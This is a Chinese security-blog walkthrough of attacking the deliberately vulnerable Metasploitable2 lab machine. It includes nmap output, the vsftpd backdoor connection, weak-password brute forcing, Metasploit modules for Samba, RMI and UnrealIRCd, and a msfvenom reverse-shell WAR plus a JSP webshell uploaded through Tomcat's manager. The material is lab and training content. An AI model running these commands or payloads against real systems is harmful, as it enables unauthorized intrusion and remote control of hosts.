freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Metasploitable2靶机渗透
2021-06-08 08:42:41

环境介绍

攻击机:

kali  IP: 192.168.1.6

靶机:

Metasploitable2 IP:192.168.1.7

江湖惯例,nmap走一套 !

nmap -A -v -T4 192.168.1.7
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.1.6
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, 
|_ssl-date: 2021-03-21T12:05:29+00:00; -58m59s from scanner time.
| sslv2: 
|   SSLv2 supported
|   ciphers: 
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_RC2_128_CBC_WITH_MD5
|     SSL2_DES_64_CBC_WITH_MD5
|     SSL2_RC_128_EXPORT40_WITH_MD5
|     SSL2_RC_128_WITH_MD5
|_    SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
53/tcp   open  domain      ISC BIND 9.4.2
| dns-nsid: 
|_  bind.version: 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
|_http-title: Metasploitable2 - Linux
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp  open  exec?
513/tcp  open  login       OpenBSD or Solaris rlogind
514/tcp  open  shell?
| fingerprint-strings: 
|   NULL: 
|_    Couldn't get address for your host (kali)
1099/tcp open  java-rmi    GNU Classpath grmiregistry
1524/tcp open  bindshell   Metasploitable root shell
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
| mysql-info: 
|   Protocol: 10
|   Version: 5.0.51a-3ubuntu5
|   Thread ID: 1960
|   Capabilities flags: 43564
|   Some Capabilities: Support41Auth, SwitchToSSLAfterHandshake, SupportsTransactions, Speaks41ProtocolNew, LongColumnFlag, ConnectWithDatabase, SupportsCompression
|   Status: Autocommit
|_  Salt: PR.-5ajs"J0Nz>bUcr5N
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
|_ssl-date: 2021-03-21T12:05:29+00:00; -58m59s from scanner time.
5900/tcp open  vnc         VNC (protocol 3.3)
| vnc-info: 
|   Protocol version: 3.3
|   Security types: 
|_    VNC Authentication (2)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         UnrealIRCd
| irc-info: 
|   users: 1
|   servers: 1
|   lusers: 1
|   lservers: 0
|   server: irc.Metasploitable.LAN
|   version: Unreal3.2.8.1. irc.Metasploitable.LAN 
|   uptime: 104 days, 22:19:00
|   source ident: nmap
|   source host: Test-B025CB0A
|_  error: Closing Link: hrrcjhxfh[kali] (Quit: hrrcjhxfh)
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/5.5
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port514-TCP:V=7.80%I=7%D=3/21%Time=60574412%P=x86_64-pc-linux-gnu%r(NUL
SF:L,2B,"\x01Couldn't\x20get\x20address\x20for\x20your\x20host\x20\(kali\)
SF:\n");
Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -58m59s, deviation: 0s, median: -58m59s
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
| nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
|   METASPLOITABLE<00>   Flags: <unique><active>
|   METASPLOITABLE<03>   Flags: <unique><active>
|   METASPLOITABLE<20>   Flags: <unique><active>
|   WORKGROUP<00>        Flags: <group><active>
|_  WORKGROUP<1e>        Flags: <group><active>
|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)
|_smb-security-mode: ERROR: Script execution failed (use -d to debug)
|_smb2-time: Protocol negotiation failed (SMB2)

发现这机器开的端口还真不少,一个一个来!

ftp漏洞

tcp 21号端口开放 运行vsftpd 2.3.4工具,百度之,发现存在一个很有意思的漏洞,笑脸漏洞,这个漏洞让用户在登录时,用户名后面加上一个:)类似笑脸的符合,密码随意,就可以令靶机开启一个6200的后门端口,此时我们可以使用telnet或者nc进行连接:

nc 192.168.1.7  6200
或者
telnet 192.168.1.7 6200

直接在msfconsole中使用模块进行利用,
image

完善选项
image
发现还是个root用户

image

ssh弱口令爆破

看到ssh 下意识想到弱口令爆破 ,先试试这个,不行再说别的。
image

image

在终端中输入命令“set RHOST 192.168.1.7”,设置目标主机的地址。
在终端中输入“set USERNAME msfadmin”,指定登陆用户名root。
在终端中输入“set PASS_FILE /home/passwd.txt”,设置暴力破解的密码文件路径。
最后得到密码为msfadmin,在终端中输入“ssh msfadmin@192.168.1.7”,连接目标主机。

telnet 弱口令爆破

image

将账号和密码的文件配置完成之后,开始爆破 !

image

最后结果是 msfadmin:msfadmin

samba漏洞利用

原理:Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者一nobody用户的权限执行任意命令。

看到 339 445端口就很熟悉了,直接搜索samba,这里我们使用usermap_script脚本

imageimageimage

最后获得shell之后 我们发现是个高权限的shell

Java RMI SERVER命令执行漏洞

搜索 rmi_server
image

选择使用的模块
image

设定好相关的参数后,直接run 获得shell

image

postgressql 弱口令

同样弱口令进入。密码:postgres
image

vnc弱口令进入

image

密码: password

image

UnreallRCd后门漏洞

原理:在2009年11月到2010年6月间分布于某些镜面站点的UNreallRCd,在 DEBUG3_DOLOG_SYSTEM宏中包含外部引入的恶意代码,远程攻击者就能够执行任意代码。

方法:在终端中输入命令“use exploit/unix/irc/unre ircd 3281backdoor”,启用漏洞利用模块。
可以发现漏洞版本和荷载命名是对应的,漏洞版本是3.2.8.1,在Metasploit里有这个攻击荷载,所以直接使用,在终端中输入命令“show options",查看需要设置的相关项,“yes” 表示必须填写的参数。

image

设置payload
image

利用成功后 界面是这样的,并不直观。我们可以将其转化为meterpreter界面

image

sessions -l 查看已经后台运行的shell 找到该shell session -u将其转为meterpreter

image

image

再次查看后台,发现一个新的会话

image

session -i 13进入该会话

image

tomcat弱口令登录

访问8081端口 发现存在tomcat后台,tomcat:tomcat弱口令进入mananger界面。

image

在该处上传一个war包 来getshell

image

使用工具生成war包

msfvenom -p java/jsp_shell_reverse_tcp LHOST=”192.168.1.6″ LPORT=666 -f war > newshells.war

image

查看war文件中的jsp木马的文件名

image

在本地的2223端口设置监听,注意使用的payload为java/jsp_shell_reverse_tcp。访问以下的url 将会反弹shell

http://192.168.1.7:8180/newshells/jovdwhxgd.jsp

借这个漏洞在这里记录一下tomcat的利用姿势。

Tomcat为了解决由于默认密码而引发的安全问题,就没有设置默认密码与用户名。如果有使用管理后台的必要,需要使用者在用户配置文件中(tomcat-users.xml)手动设置用户名,密码并且根据其需要的功能设置用户角色。

<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">

    <role rolename="manager-gui"/>
    <role rolename="manager-script"/>
    <role rolename="manager-jmx"/>
    <role rolename="manager-status"/>
    <role rolename="admin-gui"/>
    <role rolename="admin-script"/>
    <user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />

</tomcat-users>

Tomcat其实具有两个后台管理,一种是用于管理所部署Web应用,它对应的角色以manager开头;一个是用于管理虚拟主机,它对应的角色以admin开头。

仔细观察上述文件中的角色就可以发现有几个是以manager为前缀有几个以admin为前缀。为什么会存在这种差异呢,这是因为Tomcat其实具有两个后台管理,一种是用于管理所部署Web应用,它对应的角色以manager开头;一个是用于管理虚拟主机,它对应的角色以admin开头。

以manager开头:

  • manager-gui:允许用户登录图形化的Web应用管理及部署页面,页面地址为/manger/html

  • manager-status:允许用户访问查看服务器状态的页面,页面地址为/manager/status

  • manager-script:允许用户通过文本页面的形式执行管理命令,页面地址为/manager/text/命令?参数

  • manager-jmx:允许用户通过JMX代理接口并访问“服务器状态”页面。

以admin开头:

  • admin-gui :对应用图形花管理界面,地址为/host-manager/html

  • admin-script:允许用户通过文本页面的形式执行管理命令,页面地址为/manager/text/命令?参数

关于生成war包进行利用的方式:

可以把war包理解为一种压缩包,这个压缩包里包含了你要上传的Web应用的所有资源(文件),你上传后Tomcat会自动将其解压部署为Web应用。除了常规的使用msfvenom产生木马war包外,还可以使用一句话木马进行制作war包

root@kali:~/evil# dir
evil.jsp
root@kali:~/evil# jar cvf evil.war .
已添加清单
正在添加: evil.jsp(输入 = 694) (输出 = 390)(压缩了 43%)
root@kali:~/evil# dir
evil.jsp  evil.war

上传后,直接蚁剑访问就可以获得webshell。

# web安全 # 系统安全 # 内网渗透 # 漏洞分析 # 网络安全技术
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录